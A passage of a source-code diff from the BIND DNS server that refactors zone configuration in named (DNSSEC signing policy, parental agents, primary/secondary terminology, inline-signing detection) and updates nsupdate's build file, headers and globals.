 		if (updateacl != NULL && dns_acl_isinsecure(updateacl)) {
@@ -1559,15 +1537,17 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 				      zname);
 		}
 
-		RETERR(configure_zone_ssutable(zoptions, mayberaw, zname));
+		CHECK(configure_zone_ssutable(zoptions, mayberaw, zname));
 	}
 
-	if (ztype == dns_zone_master || raw != NULL) {
-		const cfg_obj_t *validity, *resign;
-		bool allow = false, maint = false;
-		bool sigvalinsecs;
-
+	/*
+	 * Configure DNSSEC signing. These apply to primary zones or zones that
+	 * use inline-signing (raw != NULL).
+	 */
+	if (ztype == dns_zone_primary || raw != NULL) {
 		if (use_kasp) {
+			int seconds;
+
 			if (dns_kasp_nsec3(kasp)) {
 				result = dns_zone_setnsec3param(
 					zone, 1, dns_kasp_nsec3flags(kasp),
@@ -1579,52 +1559,14 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 					zone, 0, 0, 0, 0, NULL, true, false);
 			}
 			INSIST(result == ISC_R_SUCCESS);
-		}
 
-		if (use_kasp) {
 			seconds = (uint32_t)dns_kasp_sigvalidity_dnskey(kasp);
-		} else {
-			obj = NULL;
-			result = named_config_get(maps, "dnskey-sig-validity",
-						  &obj);
-			INSIST(result == ISC_R_SUCCESS && obj != NULL);
-			seconds = cfg_obj_asuint32(obj) * 86400;
-		}
-		dns_zone_setkeyvalidityinterval(zone, seconds);
+			dns_zone_setkeyvalidityinterval(zone, seconds);
 
-		if (use_kasp) {
 			seconds = (uint32_t)dns_kasp_sigvalidity(kasp);
 			dns_zone_setsigvalidityinterval(zone, seconds);
-			seconds = (uint32_t)dns_kasp_sigrefresh(kasp);
-			dns_zone_setsigresigninginterval(zone, seconds);
-		} else {
-			obj = NULL;
-			result = named_config_get(maps, "sig-validity-interval",
-						  &obj);
-			INSIST(result == ISC_R_SUCCESS && obj != NULL);
-
-			sigvalinsecs = ns_server_getoption(
-				named_g_server->sctx, NS_SERVER_SIGVALINSECS);
-			validity = cfg_tuple_get(obj, "validity");
-			seconds = cfg_obj_asuint32(validity);
-			if (!sigvalinsecs) {
-				seconds *= 86400;
-			}
-			dns_zone_setsigvalidityinterval(zone, seconds);
 
-			resign = cfg_tuple_get(obj, "re-sign");
-			if (cfg_obj_isvoid(resign)) {
-				seconds /= 4;
-			} else if (!sigvalinsecs) {
-				uint32_t r = cfg_obj_asuint32(resign);
-				if (seconds > 7 * 86400) {
-					seconds = r * 86400;
-				} else {
-					seconds = r * 3600;
-				}
-			} else {
-				seconds = cfg_obj_asuint32(resign);
-			}
+			seconds = (uint32_t)dns_kasp_sigrefresh(kasp);
 			dns_zone_setsigresigninginterval(zone, seconds);
 		}
 
@@ -1632,7 +1574,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		result = named_config_get(maps, "key-directory", &obj);
 		if (result == ISC_R_SUCCESS) {
 			filename = cfg_obj_asstring(obj);
-			RETERR(dns_zone_setkeydirectory(zone, filename));
+			CHECK(dns_zone_setkeydirectory(zone, filename));
 		}
 
 		obj = NULL;
@@ -1650,70 +1592,80 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
 		dns_zone_setprivatetype(zone, cfg_obj_asuint32(obj));
 
-		obj = NULL;
-		result = named_config_get(maps, "update-check-ksk", &obj);
-		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setoption(zone, DNS_ZONEOPT_UPDATECHECKKSK,
-				   cfg_obj_asboolean(obj));
-		/*
-		 * This setting will be ignored if dnssec-policy is used.
-		 * named-checkconf will error if both are configured.
-		 */
-
-		obj = NULL;
-		result = named_config_get(maps, "dnssec-dnskey-kskonly", &obj);
-		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setoption(zone, DNS_ZONEOPT_DNSKEYKSKONLY,
-				   cfg_obj_asboolean(obj));
-		/*
-		 * This setting will be ignored if dnssec-policy is used.
-		 * named-checkconf will error if both are configured.
-		 */
-
 		obj = NULL;
 		result = named_config_get(maps, "dnssec-loadkeys-interval",
 					  &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setrefreshkeyinterval(zone,
-						      cfg_obj_asuint32(obj)));
+		CHECK(dns_zone_setrefreshkeyinterval(zone,
+						     cfg_obj_asuint32(obj)));
 
-		obj = NULL;
-		result = cfg_map_get(zoptions, "auto-dnssec", &obj);
 		if (kasp != NULL) {
 			bool s2i = (strcmp(dns_kasp_getname(kasp),
 					   "insecure") != 0);
 			dns_zone_setkeyopt(zone, DNS_ZONEKEY_ALLOW, true);
 			dns_zone_setkeyopt(zone, DNS_ZONEKEY_CREATE, !s2i);
 			dns_zone_setkeyopt(zone, DNS_ZONEKEY_MAINTAIN, true);
-		} else if (result == ISC_R_SUCCESS) {
-			const char *arg = cfg_obj_asstring(obj);
-			if (strcasecmp(arg, "allow") == 0) {
-				allow = true;
-			} else if (strcasecmp(arg, "maintain") == 0) {
-				allow = maint = true;
-			} else if (strcasecmp(arg, "off") == 0) {
-				/* Default */
-			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
-			}
-			dns_zone_setkeyopt(zone, DNS_ZONEKEY_ALLOW, allow);
-			dns_zone_setkeyopt(zone, DNS_ZONEKEY_CREATE, false);
-			dns_zone_setkeyopt(zone, DNS_ZONEKEY_MAINTAIN, maint);
 		}
 	}
 
-	if (ztype == dns_zone_slave || ztype == dns_zone_mirror) {
-		RETERR(configure_zone_acl(zconfig, vconfig, config,
-					  allow_update_forwarding, ac, mayberaw,
-					  dns_zone_setforwardacl,
-					  dns_zone_clearforwardacl));
+	if (ztype == dns_zone_secondary || ztype == dns_zone_mirror) {
+		CHECK(configure_zone_acl(zconfig, vconfig, config,
+					 allow_update_forwarding, ac, mayberaw,
+					 dns_zone_setforwardacl,
+					 dns_zone_clearforwardacl));
 	}
 
 	/*%
-	 * Primary master functionality.
+	 * Configure parental agents, applies to primary and secondary zones.
 	 */
-	if (ztype == dns_zone_master) {
+	if (ztype == dns_zone_primary || ztype == dns_zone_secondary) {
+		const cfg_obj_t *parentals = NULL;
+		(void)cfg_map_get(zoptions, "parental-agents", &parentals);
+		if (parentals != NULL) {
+			dns_ipkeylist_t ipkl;
+			dns_ipkeylist_init(&ipkl);
+			CHECK(named_config_getipandkeylist(
+				config, "parental-agents", parentals, mctx,
+				&ipkl));
+			dns_zone_setparentals(zone, ipkl.addrs, ipkl.sources,
+					      ipkl.keys, ipkl.tlss, ipkl.count);
+			dns_ipkeylist_clear(mctx, &ipkl);
+		} else {
+			dns_zone_setparentals(zone, NULL, NULL, NULL, NULL, 0);
+		}
+
+		obj = NULL;
+		result = named_config_get(maps, "checkds", &obj);
+		if (result == ISC_R_SUCCESS) {
+			if (cfg_obj_isboolean(obj)) {
+				if (cfg_obj_asboolean(obj)) {
+					checkdstype = dns_checkdstype_yes;
+				} else {
+					checkdstype = dns_checkdstype_no;
+				}
+			} else {
+				const char *str = cfg_obj_asstring(obj);
+				if (strcasecmp(str, "explicit") == 0) {
+					checkdstype = dns_checkdstype_explicit;
+				} else {
+					UNREACHABLE();
+				}
+			}
+		} else if (parentals != NULL) {
+			checkdstype = dns_checkdstype_explicit;
+		} else {
+			checkdstype = dns_checkdstype_yes;
+		}
+		if (raw != NULL) {
+			dns_zone_setcheckdstype(raw, dns_checkdstype_no);
+		}
+		dns_zone_setcheckdstype(zone, checkdstype);
+	}
+
+	/*%
+	 * Configure primary zone functionality.
+	 */
+	if (ztype == dns_zone_primary) {
 		obj = NULL;
 		result = named_config_get(maps, "check-wildcard", &obj);
 		if (result == ISC_R_SUCCESS) {
@@ -1723,26 +1675,10 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		}
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKWILDCARD, check);
 
-		/*
-		 * With map files, the default is ignore duplicate
-		 * records.  With other master formats, the default is
-		 * taken from the global configuration.
-		 */
 		obj = NULL;
-		if (masterformat != dns_masterformat_map) {
-			result = named_config_get(maps, "check-dup-records",
-						  &obj);
-			INSIST(result == ISC_R_SUCCESS && obj != NULL);
-			dupcheck = cfg_obj_asstring(obj);
-		} else {
-			result = named_config_get(nodefault,
-						  "check-dup-records", &obj);
-			if (result == ISC_R_SUCCESS) {
-				dupcheck = cfg_obj_asstring(obj);
-			} else {
-				dupcheck = "ignore";
-			}
-		}
+		result = named_config_get(maps, "check-dup-records", &obj);
+		INSIST(result == ISC_R_SUCCESS && obj != NULL);
+		dupcheck = cfg_obj_asstring(obj);
 		if (strcasecmp(dupcheck, "warn") == 0) {
 			fail = false;
 			check = true;
@@ -1751,8 +1687,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(dupcheck, "ignore") == 0) {
 			fail = check = false;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKDUPRR, check);
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKDUPRRFAIL, fail);
@@ -1768,34 +1703,16 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			fail = check = false;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKMX, check);
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKMXFAIL, fail);
 
-		/*
-		 * With map files, the default is *not* to check
-		 * integrity.  With other master formats, the default is
-		 * taken from the global configuration.
-		 */
 		obj = NULL;
-		if (masterformat != dns_masterformat_map) {
-			result = named_config_get(maps, "check-integrity",
-						  &obj);
-			INSIST(result == ISC_R_SUCCESS && obj != NULL);
-			dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKINTEGRITY,
-					   cfg_obj_asboolean(obj));
-		} else {
-			check = false;
-			result = named_config_get(nodefault, "check-integrity",
-						  &obj);
-			if (result == ISC_R_SUCCESS) {
-				check = cfg_obj_asboolean(obj);
-			}
-			dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKINTEGRITY,
-					   check);
-		}
+		result = named_config_get(maps, "check-integrity", &obj);
+		INSIST(result == ISC_R_SUCCESS && obj != NULL);
+		dns_zone_setoption(mayberaw, DNS_ZONEOPT_CHECKINTEGRITY,
+				   cfg_obj_asboolean(obj));
 
 		obj = NULL;
 		result = named_config_get(maps, "check-mx-cname", &obj);
@@ -1808,8 +1725,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			warn = ignore = true;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_WARNMXCNAME, warn);
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_IGNOREMXCNAME, ignore);
@@ -1825,35 +1741,12 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		} else if (strcasecmp(cfg_obj_asstring(obj), "ignore") == 0) {
 			warn = ignore = true;
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_WARNSRVCNAME, warn);
 		dns_zone_setoption(mayberaw, DNS_ZONEOPT_IGNORESRVCNAME,
 				   ignore);
 
-		obj = NULL;
-		result = named_config_get(maps, "dnssec-secure-to-insecure",
-					  &obj);
-		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setoption(mayberaw, DNS_ZONEOPT_SECURETOINSECURE,
-				   cfg_obj_asboolean(obj));
-
-		obj = NULL;
-		result = cfg_map_get(zoptions, "dnssec-update-mode", &obj);
-		if (result == ISC_R_SUCCESS) {
-			const char *arg = cfg_obj_asstring(obj);
-			if (strcasecmp(arg, "no-resign") == 0) {
-				dns_zone_setkeyopt(zone, DNS_ZONEKEY_NORESIGN,
-						   true);
-			} else if (strcasecmp(arg, "maintain") == 0) {
-				/* Default */
-			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
-			}
-		}
-
 		obj = NULL;
 		result = named_config_get(maps, "serial-update-method", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
@@ -1870,7 +1763,7 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 	}
 
 	/*
-	 * Configure slave functionality.
+	 * Configure secondary zone functionality.
 	 */
 	switch (ztype) {
 	case dns_zone_mirror:
@@ -1882,12 +1775,12 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		(void)cfg_map_get(zoptions, "allow-transfer", &obj);
 		if (obj == NULL) {
 			dns_acl_t *none;
-			RETERR(dns_acl_none(mctx, &none));
+			CHECK(dns_acl_none(mctx, &none));
 			dns_zone_setxfracl(zone, none);
 			dns_acl_detach(&none);
 		}
-	/* FALLTHROUGH */
-	case dns_zone_slave:
+		FALLTHROUGH;
+	case dns_zone_secondary:
 	case dns_zone_stub:
 	case dns_zone_redirect:
 		count = 0;
@@ -1904,28 +1797,26 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		if (obj == NULL && ztype == dns_zone_mirror &&
 		    dns_name_equal(dns_zone_getorigin(zone), dns_rootname))
 		{
-			result = named_config_getprimariesdef(
-				named_g_config,
+			result = named_config_getremotesdef(
+				named_g_config, "primaries",
 				DEFAULT_IANA_ROOT_ZONE_PRIMARIES, &obj);
-			RETERR(result);
+			CHECK(result);
 		}
 		if (obj != NULL) {
 			dns_ipkeylist_t ipkl;
 			dns_ipkeylist_init(&ipkl);
 
-			RETERR(named_config_getipandkeylist(config, obj, mctx,
-							    &ipkl));
-			result = dns_zone_setprimaries(mayberaw, ipkl.addrs,
-						       ipkl.keys, ipkl.tlss,
-						       ipkl.count);
+			CHECK(named_config_getipandkeylist(config, "primaries",
+							   obj, mctx, &ipkl));
+			dns_zone_setprimaries(mayberaw, ipkl.addrs,
+					      ipkl.sources, ipkl.keys,
+					      ipkl.tlss, ipkl.count);
 			count = ipkl.count;
 			dns_ipkeylist_clear(mctx, &ipkl);
-			RETERR(result);
 		} else {
-			result = dns_zone_setprimaries(mayberaw, NULL, NULL,
-						       NULL, 0);
+			dns_zone_setprimaries(mayberaw, NULL, NULL, NULL, NULL,
+					      0);
 		}
-		RETERR(result);
 
 		multi = false;
 		if (count > 1) {
@@ -1939,12 +1830,16 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		obj = NULL;
 		result = named_config_get(maps, "max-transfer-time-in", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setmaxxfrin(mayberaw, cfg_obj_asuint32(obj) * 60);
+		dns_zone_setmaxxfrin(
+			mayberaw, transferinsecs ? cfg_obj_asuint32(obj)
+						 : cfg_obj_asuint32(obj) * 60);
 
 		obj = NULL;
 		result = named_config_get(maps, "max-transfer-idle-in", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		dns_zone_setidlein(mayberaw, cfg_obj_asuint32(obj) * 60);
+		dns_zone_setidlein(mayberaw,
+				   transferinsecs ? cfg_obj_asuint32(obj)
+						  : cfg_obj_asuint32(obj) * 60);
 
 		obj = NULL;
 		result = named_config_get(maps, "max-refresh-time", &obj);
@@ -1969,69 +1864,14 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		obj = NULL;
 		result = named_config_get(maps, "transfer-source", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setxfrsource4(mayberaw,
-					      cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setxfrsource4dscp(mayberaw, dscp));
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
+		CHECK(dns_zone_setxfrsource4(mayberaw,
+					     cfg_obj_assockaddr(obj)));
 
 		obj = NULL;
 		result = named_config_get(maps, "transfer-source-v6", &obj);
 		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setxfrsource6(mayberaw,
-					      cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setxfrsource6dscp(mayberaw, dscp));
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
-
-		obj = NULL;
-		result = named_config_get(maps, "alt-transfer-source", &obj);
-		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setaltxfrsource4(mayberaw,
-						 cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setaltxfrsource4dscp(mayberaw, dscp));
-
-		obj = NULL;
-		result = named_config_get(maps, "alt-transfer-source-v6", &obj);
-		INSIST(result == ISC_R_SUCCESS && obj != NULL);
-		RETERR(dns_zone_setaltxfrsource6(mayberaw,
-						 cfg_obj_assockaddr(obj)));
-		dscp = cfg_obj_getdscp(obj);
-		if (dscp == -1) {
-			dscp = named_g_dscp;
-		}
-		RETERR(dns_zone_setaltxfrsource6dscp(mayberaw, dscp));
-
-		obj = NULL;
-		(void)named_config_get(maps, "use-alt-transfer-source", &obj);
-		if (obj == NULL) {
-			/*
-			 * Default off when views are in use otherwise
-			 * on for BIND 8 compatibility.
-			 */
-			view = dns_zone_getview(zone);
-			if (view != NULL && strcmp(view->name, "_default") == 0)
-			{
-				alt = true;
-			} else {
-				alt = false;
-			}
-		} else {
-			alt = cfg_obj_asboolean(obj);
-		}
-		dns_zone_setoption(mayberaw, DNS_ZONEOPT_USEALTXFRSRC, alt);
+		CHECK(dns_zone_setxfrsource6(mayberaw,
+					     cfg_obj_assockaddr(obj)));
 
 		obj = NULL;
 		(void)named_config_get(maps, "try-tcp-refresh", &obj);
@@ -2040,15 +1880,21 @@ named_zone_configure(const cfg_obj_t *config, const cfg_obj_t *vconfig,
 		break;
 
 	case dns_zone_staticstub:
-		RETERR(configure_staticstub(zoptions, zone, zname,
-					    default_dbtype));
+		CHECK(configure_staticstub(zoptions, zone, zname,
+					   default_dbtype));
 		break;
 
 	default:
 		break;
 	}
 
-	return (ISC_R_SUCCESS);
+	result = ISC_R_SUCCESS;
+
+cleanup:
+	if (kasp != NULL) {
+		dns_kasp_detach(&kasp);
+	}
+	return (result);
 }
 
 /*
@@ -2058,11 +1904,8 @@ isc_result_t
 named_zone_configure_writeable_dlz(dns_dlzdb_t *dlzdatabase, dns_zone_t *zone,
 				   dns_rdataclass_t rdclass, dns_name_t *name) {
 	dns_db_t *db = NULL;
-	isc_time_t now;
 	isc_result_t result;
 
-	TIME_NOW(&now);
-
 	dns_zone_settype(zone, dns_zone_dlz);
 	result = dns_sdlz_setdb(dlzdatabase, rdclass, name, &db);
 	if (result != ISC_R_SUCCESS) {
@@ -2076,7 +1919,7 @@ named_zone_configure_writeable_dlz(dns_dlzdb_t *dlzdatabase, dns_zone_t *zone,
 bool
 named_zone_reusable(dns_zone_t *zone, const cfg_obj_t *zconfig,
 		    const cfg_obj_t *vconfig, const cfg_obj_t *config,
-		    cfg_aclconfctx_t *actx) {
+		    dns_kasplist_t *kasplist) {
 	const cfg_obj_t *zoptions = NULL;
 	const cfg_obj_t *obj = NULL;
 	const char *cfilename;
@@ -2110,8 +1953,8 @@ named_zone_reusable(dns_zone_t *zone, const cfg_obj_t *zconfig,
 		has_raw = false;
 	}
 
-	inline_signing = named_zone_inlinesigning(zone, zconfig, vconfig,
-						  config, actx);
+	inline_signing = named_zone_inlinesigning(zconfig, vconfig, config,
+						  kasplist);
 	if (!inline_signing && has_raw) {
 		dns_zone_log(zone, ISC_LOG_DEBUG(1),
 			     "not reusable: old zone was inline-signing");
@@ -2148,80 +1991,53 @@ named_zone_reusable(dns_zone_t *zone, const cfg_obj_t *zconfig,
 }
 
 bool
-named_zone_inlinesigning(dns_zone_t *zone, const cfg_obj_t *zconfig,
-			 const cfg_obj_t *vconfig, const cfg_obj_t *config,
-			 cfg_aclconfctx_t *actx) {
-	isc_result_t res;
-	const cfg_obj_t *zoptions = NULL;
-	const cfg_obj_t *voptions = NULL;
-	const cfg_obj_t *options = NULL;
+named_zone_inlinesigning(const cfg_obj_t *zconfig, const cfg_obj_t *vconfig,
+			 const cfg_obj_t *config, dns_kasplist_t *kasplist) {
+	const cfg_obj_t *maps[4];
 	const cfg_obj_t *signing = NULL;
-	const cfg_obj_t *allowupdate = NULL;
-	const cfg_obj_t *updatepolicy = NULL;
-	bool zone_is_dynamic = false;
+	const cfg_obj_t *policy = NULL;
+	dns_kasp_t *kasp = NULL;
+	isc_result_t res;
 	bool inline_signing = false;
+	int i = 0;
 
-	(void)cfg_map_get(config, "options", &options);
-
-	zoptions = cfg_tuple_get(zconfig, "options");
+	maps[i++] = cfg_tuple_get(zconfig, "options");
 	if (vconfig != NULL) {
-		voptions = cfg_tuple_get(vconfig, "options");
+		maps[i++] = cfg_tuple_get(vconfig, "options");
 	}
-
-	inline_signing = (cfg_map_get(zoptions, "inline-signing", &signing) ==
-				  ISC_R_SUCCESS &&
-			  cfg_obj_asboolean(signing));
-	if (inline_signing) {
-		return (true);
+	if (config != NULL) {
+		const cfg_obj_t *options = NULL;
+		(void)cfg_map_get(config, "options", &options);
+		if (options != NULL) {
+			maps[i++] = options;
+		}
 	}
+	maps[i] = NULL;
 
-	if (cfg_map_get(zoptions, "update-policy", &updatepolicy) ==
-	    ISC_R_SUCCESS) {
-		zone_is_dynamic = true;
-	} else {
-		res = cfg_map_get(zoptions, "allow-update", &allowupdate);
-		if (res != ISC_R_SUCCESS && voptions != NULL) {
-			res = cfg_map_get(voptions, "allow-update",
-					  &allowupdate);
-		}
-		if (res != ISC_R_SUCCESS && options != NULL) {
-			res = cfg_map_get(options, "allow-update",
-					  &allowupdate);
-		}
-		if (res == ISC_R_SUCCESS) {
-			dns_acl_t *acl = NULL;
-			res = cfg_acl_fromconfig(
-				allowupdate, config, named_g_lctx, actx,
-				dns_zone_getmctx(zone), 0, &acl);
-			if (res == ISC_R_SUCCESS && acl != NULL &&
-			    !dns_acl_isnone(acl)) {
-				zone_is_dynamic = true;
-			}
-			if (acl != NULL) {
-				dns_acl_detach(&acl);
-			}
-		}
+	/* "inline-signing" is a zone-only clause, so look in maps[0] only. */
+	res = cfg_map_get(maps[0], "inline-signing", &signing);
+	if (res == ISC_R_SUCCESS && cfg_obj_isboolean(signing)) {
+		return (cfg_obj_asboolean(signing));
 	}
 
-	/*
-	 * If inline-signing is not set, perhaps implictly through a
-	 * dnssec-policy.  Since automated DNSSEC maintenance requires
-	 * a dynamic zone, or inline-siging to be enabled, check if
-	 * the zone with dnssec-policy allows updates.  If not, enable
-	 * inline-signing.
-	 */
-	signing = NULL;
-	if (!inline_signing && !zone_is_dynamic &&
-	    cfg_map_get(zoptions, "dnssec-policy", &signing) == ISC_R_SUCCESS &&
-	    signing != NULL)
+	/* If inline-signing is not set, check the value in dnssec-policy. */
+	policy = NULL;
+	res = named_config_get(maps, "dnssec-policy", &policy);
+	/* If no dnssec-policy found, then zone is not using inline-signing. */
+	if (res != ISC_R_SUCCESS ||
+	    strcmp(cfg_obj_asstring(policy), "none") == 0)
 	{
-		if (strcmp(cfg_obj_asstring(signing), "none") != 0) {
-			inline_signing = true;
-			dns_zone_log(zone, ISC_LOG_DEBUG(1),
-				     "inline-signing: "
-				     "implicitly through dnssec-policy");
-		}
+		return (false);
+	}
+
+	/* Lookup the policy. */
+	res = dns_kasplist_find(kasplist, cfg_obj_asstring(policy), &kasp);
+	if (res != ISC_R_SUCCESS) {
+		return (false);
 	}
 
+	inline_signing = dns_kasp_inlinesigning(kasp);
+	dns_kasp_detach(&kasp);
+
 	return (inline_signing);
 }
diff --git a/bin/nsupdate/Makefile.am b/bin/nsupdate/Makefile.am
index fc0e62b99c..4ef15ed799 100644
--- a/bin/nsupdate/Makefile.am
+++ b/bin/nsupdate/Makefile.am
@@ -4,21 +4,17 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)	\
 	$(LIBISCCFG_CFLAGS)	\
-	$(LIBIRS_CFLAGS)	\
-	$(LIBBIND9_CFLAGS)	\
 	$(GSSAPI_CFLAGS)	\
 	$(KRB5_CFLAGS)		\
 	$(READLINE_CFLAGS)
 
-AM_CPPFLAGS += \
+AM_CPPFLAGS +=			\
 	-DSESSION_KEYFILE=\"${localstatedir}/run/named/session.key\"
 
-LDADD =				\
+LDADD +=			\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)		\
 	$(LIBISCCFG_LIBS)	\
-	$(LIBIRS_LIBS)		\
-	$(LIBBIND9_LIBS)	\
 	$(GSSAPI_LIBS)		\
 	$(KRB5_LIBS)
 
diff --git a/bin/nsupdate/nsupdate.c b/bin/nsupdate/nsupdate.c
index 9835c47b9e..3e673f493d 100644
--- a/bin/nsupdate/nsupdate.c
+++ b/bin/nsupdate/nsupdate.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,40 +21,36 @@
 #include <stdlib.h>
 #include <unistd.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/attributes.h>
 #include <isc/base64.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
-#include <isc/event.h>
 #include <isc/file.h>
+#include <isc/getaddresses.h>
 #include <isc/hash.h>
 #include <isc/lex.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/mem.h>
+#include <isc/netmgr.h>
 #include <isc/nonce.h>
 #include <isc/parseint.h>
-#include <isc/platform.h>
 #include <isc/portset.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
+#include <isc/tls.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/callbacks.h>
 #include <dns/dispatch.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/log.h>
 #include <dns/masterdump.h>
@@ -67,8 +65,8 @@
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
 #include <dns/request.h>
-#include <dns/result.h>
 #include <dns/tkey.h>
+#include <dns/transport.h>
 #include <dns/tsig.h>
 
 #include <dst/dst.h>
@@ -94,21 +92,17 @@
 
 #endif /* HAVE_GSSAPI */
 
-#include <bind9/getaddresses.h>
-
 #include "../dig/readline.h"
 
-#define MAXCMD	     (128 * 1024)
-#define MAXWIRE	     (64 * 1024)
-#define PACKETSIZE   ((64 * 1024) - 1)
-#define INITTEXT     (2 * 1024)
-#define MAXTEXT	     (128 * 1024)
-#define FIND_TIMEOUT 5
-#define TTL_MAX	     2147483647U /* Maximum signed 32 bit integer. */
+#define MAXCMD	 (128 * 1024)
+#define MAXWIRE	 (64 * 1024)
+#define INITTEXT (2 * 1024)
+#define MAXTEXT	 (128 * 1024)
+#define TTL_MAX	 2147483647U /* Maximum signed 32 bit integer. */
 
 #define DNSDEFAULTPORT 53
 
-/* Number of addresses to request from bind9_getaddresses() */
+/* Number of addresses to request from isc_getaddresses() */
 #define MAX_SERVERADDRS 4
 
 static uint16_t dnsport = DNSDEFAULTPORT;
@@ -122,21 +116,16 @@ static bool memdebugging = false;
 static bool have_ipv4 = false;
 static bool have_ipv6 = false;
 static bool is_dst_up = false;
+static bool use_tls = false;
 static bool usevc = false;
 static bool usegsstsig = false;
-static bool use_win2k_gsstsig = false;
-static bool tried_other_gsstsig = false;
 static bool local_only = false;
 static isc_nm_t *netmgr = NULL;
-static isc_taskmgr_t *taskmgr = NULL;
-static isc_task_t *global_task = NULL;
-static isc_event_t *global_event = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static isc_log_t *glctx = NULL;
 static isc_mem_t *gmctx = NULL;
 static dns_dispatchmgr_t *dispatchmgr = NULL;
 static dns_requestmgr_t *requestmgr = NULL;
-static isc_socketmgr_t *socketmgr = NULL;
-static isc_timermgr_t *timermgr = NULL;
 static dns_dispatch_t *dispatchv4 = NULL;
 static dns_dispatch_t *dispatchv6 = NULL;
 static dns_message_t *updatemsg = NULL;
@@ -145,19 +134,27 @@ static dns_fixedname_t fzname;
 static dns_name_t *userzone = NULL;
 static dns_name_t *zname = NULL;
 static dns_name_t tmpzonename = DNS_NAME_INITEMPTY;
-static dns_name_t restart_master = DNS_NAME_INITEMPTY;
-static dns_tsig_keyring_t *gssring = NULL;
+static dns_name_t restart_primary = DNS_NAME_INITEMPTY;
+static dns_tsigkeyring_t *gssring = NULL;
 static dns_tsigkey_t *tsigkey = NULL;
 static dst_key_t *sig0key = NULL;
 static isc_sockaddr_t *servers = NULL;
-static isc_sockaddr_t *master_servers = NULL;
+static isc_sockaddr_t *primary_servers = NULL;
